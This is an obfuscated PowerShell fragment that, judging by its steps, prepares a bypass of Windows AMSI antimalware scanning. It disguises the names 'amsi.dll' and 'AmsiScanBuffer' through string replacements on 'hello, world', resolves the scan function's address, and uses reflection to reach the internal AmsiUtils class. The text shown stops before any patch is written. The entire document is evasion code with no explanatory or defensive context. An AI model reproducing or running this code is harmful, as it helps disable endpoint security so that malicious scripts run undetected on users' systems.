Add-Type $APIs $InitialDate=Get-Date; $string = 'hello, world' $string = $string.replace('he','a') $string = $string.replace('ll','m') $string = $string.replace('o,','s') $string = $string.replace(' ','i') $string = $string.replace('wo','.d') $string = $string.replace('rld','ll') $string2 = 'hello, world' $string2 = $string2.replace('he','A') $string2 = $string2.replace('ll','m') $string2 = $string2.replace('o,','s') $string2 = $string2.replace(' ','i') $string2 = $string2.replace('wo','Sc') $string2 = $string2.replace('rld','an') $string3 = 'hello, world' $string3 = $string3.replace('hello','Bu') $string3 = $string3.replace(', ','ff') $string3 = $string3.replace('world','er') $Address = [APIS]::GetModuleHandle($string) [IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3) $Assemblies = [appdomain]::currentdomain.getassemblies() $Assemblies | ForEach-Object { if($_.Location -ne $null){ $split1 = $_.FullName.Split(",")[0] If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) { $Types = $_.GetTypes() } } } $Types | ForEach-Object { if($_.Name -ne $null){ If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) { $Methods = $_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic') } } }